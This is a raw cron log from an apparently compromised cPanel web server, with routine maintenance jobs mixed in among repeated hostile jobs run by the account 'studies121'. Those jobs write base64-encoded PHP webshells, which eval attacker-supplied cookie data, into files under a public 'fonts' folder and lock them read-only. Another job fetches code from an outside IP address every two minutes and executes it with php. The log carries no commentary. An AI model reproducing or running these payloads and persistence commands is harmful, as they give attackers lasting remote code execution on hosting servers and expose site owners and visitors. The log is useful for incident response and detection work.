Sep 11 21:03:01 ip-184-168-122-23 CROND[3999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:03:01 ip-184-168-122-23 CROND[3998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:03:01 ip-184-168-122-23 CROND[4000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:04:01 ip-184-168-122-23 CROND[4078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:04:01 ip-184-168-122-23 CROND[4080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:04:01 ip-184-168-122-23 CROND[4082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:04:01 ip-184-168-122-23 CROND[4081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:04:01 ip-184-168-122-23 CROND[4083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:05:01 ip-184-168-122-23 CROND[4186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:05:01 ip-184-168-122-23 CROND[4188]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:05:01 ip-184-168-122-23 CROND[4189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:05:01 ip-184-168-122-23 CROND[4191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:05:01 ip-184-168-122-23 CROND[4190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:05:01 ip-184-168-122-23 CROND[4193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:05:01 ip-184-168-122-23 CROND[4194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:06:01 ip-184-168-122-23 CROND[4367]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:06:01 ip-184-168-122-23 CROND[4370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:06:01 ip-184-168-122-23 CROND[4371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:06:01 ip-184-168-122-23 CROND[4372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:06:01 ip-184-168-122-23 CROND[4369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:07:01 ip-184-168-122-23 CROND[4471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:07:01 ip-184-168-122-23 CROND[4474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:07:01 ip-184-168-122-23 CROND[4475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:07:01 ip-184-168-122-23 CROND[4473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:08:01 ip-184-168-122-23 CROND[4573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:08:01 ip-184-168-122-23 CROND[4575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:08:01 ip-184-168-122-23 CROND[4576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:08:01 ip-184-168-122-23 CROND[4574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:08:01 ip-184-168-122-23 CROND[4577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:09:01 ip-184-168-122-23 CROND[4672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:09:01 ip-184-168-122-23 CROND[4675]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 21:09:01 ip-184-168-122-23 CROND[4676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:09:01 ip-184-168-122-23 CROND[4678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:09:01 ip-184-168-122-23 CROND[4677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:10:01 ip-184-168-122-23 CROND[4781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:10:01 ip-184-168-122-23 CROND[4780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:10:01 ip-184-168-122-23 CROND[4778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:10:01 ip-184-168-122-23 CROND[4782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:10:01 ip-184-168-122-23 CROND[4779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:10:01 ip-184-168-122-23 CROND[4784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:10:01 ip-184-168-122-23 CROND[4783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:10:01 ip-184-168-122-23 CROND[4785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:11:01 ip-184-168-122-23 CROND[4892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:11:01 ip-184-168-122-23 CROND[4893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:11:01 ip-184-168-122-23 CROND[4895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:11:01 ip-184-168-122-23 CROND[4899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:12:01 ip-184-168-122-23 CROND[5039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:12:01 ip-184-168-122-23 CROND[5043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:12:01 ip-184-168-122-23 CROND[5040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:12:01 ip-184-168-122-23 CROND[5041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:12:01 ip-184-168-122-23 CROND[5042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:13:01 ip-184-168-122-23 CROND[5131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:13:01 ip-184-168-122-23 CROND[5133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:13:01 ip-184-168-122-23 CROND[5132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:13:01 ip-184-168-122-23 CROND[5137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:14:01 ip-184-168-122-23 CROND[5258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:14:01 ip-184-168-122-23 CROND[5259]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:14:01 ip-184-168-122-23 CROND[5261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:14:01 ip-184-168-122-23 CROND[5263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:14:01 ip-184-168-122-23 CROND[5260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:15:01 ip-184-168-122-23 CROND[5373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:15:01 ip-184-168-122-23 CROND[5374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:15:01 ip-184-168-122-23 CROND[5375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:15:01 ip-184-168-122-23 CROND[5377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:15:01 ip-184-168-122-23 CROND[5379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
